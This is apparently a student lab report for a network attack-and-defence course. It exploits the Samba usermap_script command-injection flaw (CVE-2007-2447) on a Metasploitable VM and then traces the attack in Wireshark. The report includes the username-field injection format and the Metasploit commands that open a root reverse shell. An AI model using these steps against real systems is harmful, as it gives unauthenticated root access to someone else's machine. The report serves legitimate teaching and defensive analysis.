20252813 2025-2026-2 《网络攻防实践》 第7次作业

20252813 2025-2026-2 《网络攻防实践》实践七报告

1. 实践内容

1.1 Samba Usermap_script 漏洞原理

Samba是一个实现SMB/CIFS协议的开源软件套件,广泛用于Linux/Unix系统与Windows系统之间的文件共享和打印服务交互。在Samba 3.0.20至3.0.25rc3版本中存在一个严重的安全漏洞——Usermap_script命令注入漏洞(CVE-2007-2447)。该漏洞的根源在于Samba的smb.conf配置文件中username map script选项存在安全隐患。

当管理员启用username map script配置选项时,Samba会调用一个外部脚本将客户端提供的用户名映射为系统本地用户名。问题在于,Samba在处理用户名字段时未对输入进行严格的安全过滤,攻击者可以在用户名字段中注入包含Shell元字符的恶意命令,格式如username = "/=\nohup <恶意命令>`"`。最关键的是,用户名映射过程发生在用户身份验证之前,这意味着攻击者无需任何有效凭据即可利用此漏洞,直接以Samba服务的权限(通常权限较高)执行任意命令,属于典型的未授权远程代码执行(RCE)漏洞。

1.2 实验任务

本次实践包含两个主要任务:

任务一:Metasploit远程渗透攻击

使用Metasploit渗透测试框架,对Metasploitable靶机上的Samba服务Usermap_script安全漏洞进行渗透攻击,获取目标Linux靶机的主机访问权限。具体步骤包括启动Metasploit、加载渗透攻击模块、选择攻击载荷(PAYLOAD)、设置攻击参数、执行攻击并验证获得的权限。

任务二:攻防对抗实践

  • 攻击方:使用Metasploit对Metasploitable靶机中的漏洞进行渗透攻击,获取远程控制权,并尝试进一步获得root权限。
  • 防守方:使用tcpdump/Wireshark/Snort监听并捕获网络攻击的数据包,结合Wireshark/Snort分析攻击过程,提取攻击者的IP地址、目标IP和端口、攻击发起时间、攻击利用的漏洞信息、使用的Shellcode内容,以及攻击成功后命令行中输入的命令信息。

2. 实践过程

2.1 实验环境

本次实验在虚拟机环境中完成,网络采用桥接模式,确保攻击机与靶机处于同一网段。

角色 操作系统/平台 IP地址
攻击机 Kali Linux 192.168.200.6
靶机 Metasploitable Ubuntu 192.168.200.5

2.2 任务一:使用Metasploit进行Linux远程渗透攻击

步骤①:启动Metasploit软件

在Kali攻击机上打开终端,输入以下命令启动Metasploit控制台:

sudo msfconsole

执行后Metasploit会显示启动横幅,显示版本信息(如Metasploit 6.x)以及可用的模块总数。

image

步骤②:查找并使用Samba Usermap_script渗透攻击模块

首先,输入search命令确认Samba相关的渗透模块是否存在:

search samba usermap_script

搜索结果中显示exploit/multi/samba/usermap_script模块。

然后,使用use命令加载该渗透攻击模块:

use exploit/multi/samba/usermap_script

此时提示符变化,显示已进入该模块的上下文环境。
image

步骤③:选择攻击PAYLOAD为远程Shell

输入以下命令查看该模块可用的攻击载荷:

show payloads

在列出的可用载荷中,选择一个远程Shell(本次实验选择反向连接载荷):

set payload cmd/unix/reverse

载荷类型 连接方向 适用场景
cmd/unix/reverse 反向连接(靶机主动连接攻击机) 易于绕过防火墙限制
cmd/unix/bind_netcat 正向连接(攻击机连接靶机监听端口) 靶机端口可达时使用

本次实验使用反向连接载荷,攻击机会监听指定端口等待靶机连接。
image
image

步骤④:设置渗透攻击参数

输入以下命令查看需要配置的参数:

show options

该模块至少需要配置两个参数:

  • RHOSTS:目标靶机的IP地址
  • LHOST:攻击机(Kali)的IP地址
  • LPORT(可选,默认4444):攻击机监听的端口号

设置参数(将IP地址替换为实验环境的实际地址):

set RHOST 192.168.200.5 # 靶机IP
set LHOST 192.168.200.6 # 攻击机IP,用于反向连接的监听
set LPORT 4444 # 可选,默认端口即为4444

再次输入show options确认参数配置正确无误。

image

步骤⑤:执行渗透攻击

输入以下命令发起攻击:

exploit

执行后,Metasploit会尝试利用Samba Usermap_script漏洞。如果攻击成功,会出现提示信息。

image

步骤⑥:查看是否正确得到远程Shell及获得的权限

进入会话后,输入Linux命令验证:

whoami

如果显示root,说明攻击成功后获得的远程Shell具有root权限。Samba Usermap_script漏洞利用成功的显著特点是直接获取root权限,无需额外提权操作。
image

2.3 任务二:攻防对抗实践

对任务一的攻击过程使用Wireshark抓包分析。

2.3.1 Wireshark流量抓包与攻击过程分析

在网络层面捕获攻击过程中的数据包,并从流量分析中提取关键攻击信息。

攻击数据包分析

攻击成功并建立Shell连接后,停止Wireshark抓包,对捕获的数据包进行深入分析。

① 获取攻击者IP和靶机IP及端口

分析SMB流量数据包可知:攻击者IP为攻击机的IP地址,目标IP为靶机的IP地址。

在后续反向连接建立过程中,还可以看到靶机向攻击机发起的连接,端口为4444。

image

② 获取攻击成功后在命令行输入的信息

在Shell连接建立后,攻击者会在远程终端输入命令。分析Shell连接的TCP流中的后续数据包,可以看到攻击者执行的命令。

然后追踪该流的TCP流,可以找到攻击者在成功进入Shell后输入的命令,如whoami。这些命令在流量中以明文形式传输,因为使用的是原生的TCP连接而非加密协议。

发起TCP连接请求
image

运行反向shell Metasploit Payload连接目标主机
image

靶机响应
image

攻击载荷生效,shell 建立,可发送命令或结果
192.168.200.5 > 192.168.200.6 TCP 59056 > 4444 [PSH, ACK]
image

找到输入的命令
image

3. 学习中遇到的问题及解决

问题:攻击执行后未能获得Shell

【现象描述】

执行exploit命令后,Metasploit显示攻击已完成(Exploit finished)但没有显示建立会话,输入sessions命令发现会话列表为空。

【分析排查】

可能的原因包括:

  • 靶机的Samba服务未正常运行或端口封闭
  • 靶机的Samba版本不在漏洞影响范围内(该漏洞影响Samba 3.0.20至3.0.25rc3版本)
  • 防火墙规则阻止了反向连接

【解决方案】

  1. 检查端口可达性:在攻击机上使用nmap扫描确认靶机445端口状态:

    nmap -p445 靶机IP

    如果显示open则端口正常开放。

  2. 验证Samba版本:使用以下命令探测Samba服务版本:

    smbclient -L //靶机IP

  3. 确认IP地址配置:重新检查RHOSTLHOST参数是否设置正确,特别是LHOST必须是攻击机IP且靶机能够访问到。

  4. 检查防火墙:确认攻击机防火墙允许传入的4444端口连接。

问题:Wireshark过滤条件不工作或找不到SMB数据包

【现象描述】

在Wireshark中输入smb过滤条件后,没有显示任何数据包,但实际操作中明确有攻击流量产生。

【分析排查】

可能的原因:

  • 抓包时选择的网络接口不正确
  • 过滤语法有误(例如混淆了大小写或协议名称)

【解决方案】

  1. 确认正确的网络接口:在Wireshark中查看接口列表,确认正在监听的接口与实际通信的网卡一致。可以通过ifconfig检查IP,确保选中有靶机通信的接口。

  2. 使用备选过滤条件:由于smb过滤器依赖于Wireshark对SMB协议的正确解析,有时可能出现解析失败的情况,可尝试使用端口号过滤:

    tcp.port == 139 or tcp.port == 445

  3. 同时进行实时抓包测试:在攻击过程中保持tcpdump抓包并在攻击结束后再分析,确保流程无误。

4. 实践总结和体会

4.1 技术层面的收获

通过本次实验,我对渗透测试的完整流程有了更深刻的理解。在实际操作中,通过Msfconsole的search、use、show payloads、set和exploit这一系列操作,直观地体验了从漏洞信息查询到最终获取Shell的完整攻击链。

Samba Usermap_script漏洞让我深刻认识到:一个小小的输入验证疏漏——未对用户名字段进行严格过滤——就可能导致整个系统被未授权攻击者完全控制,而且攻击发生在身份验证之前,可谓不设防的入口。本次实验中攻击成功后直接以root身份进入靶机,无需额外提权,进一步印证了该漏洞的危险性。

在防守方角度,使用Wireshark进行攻击流量分析让我学会了从网络流量中提取攻击证据的方法。通过SMB协议包中的恶意命令注入发现漏洞利用特征,通过反向连接的TCP流还原攻击者的后续操作,这些都是安全取证的关键技能。流量分析与Snort检测的结合,也体现了从被动防御到主动检测的安全防护理念。

4.2 对网络攻防本质的思考

这次实验让我体会到网络攻防的本质是一场信息与时间的博弈:

  • 攻击方的核心优势在于快速发现利用未知漏洞(0day)或未打补丁的已知漏洞。Metasploit等框架大大降低了漏洞利用的技术门槛,使攻击者能够高效地完成从侦察到获取权限的全流程。
  • 防御方则需要建立纵深防御体系:及时更新补丁、合理配置服务(如禁止启用username map script等高风险配置)、部署IDS/IPS设备、定期进行安全审计与渗透测试。

从更长远的角度看,安全左移(Security Shift Left)的思想在实践中尤为重要——在开发和安全配置阶段解决问题,远比在攻击发生后进行应急响应成本更低。Samba Usermap_script漏洞就是最好的反面教材:一个配置选项的误用,就能让整个服务变成系统最大的安全短板。

4.3 未来学习的展望

本次SMB(445端口)漏洞的利用只是Metasploit渗透测试框架能力的一小部分。未来可以继续学习更多后渗透测试技术,例如利用Meterpreter进行内核提权、持久化后门安装、横向移动与内网渗透等。在防御方面,可以深入学习Snort规则编写与Suricata等入侵检测系统的高级应用,将被动流量分析与主动威胁狩猎结合起来进行综合安全防御。

参考资料

posted @ 2026-05-10 22:49  后生许令  阅读(9)  评论(0)    收藏  举报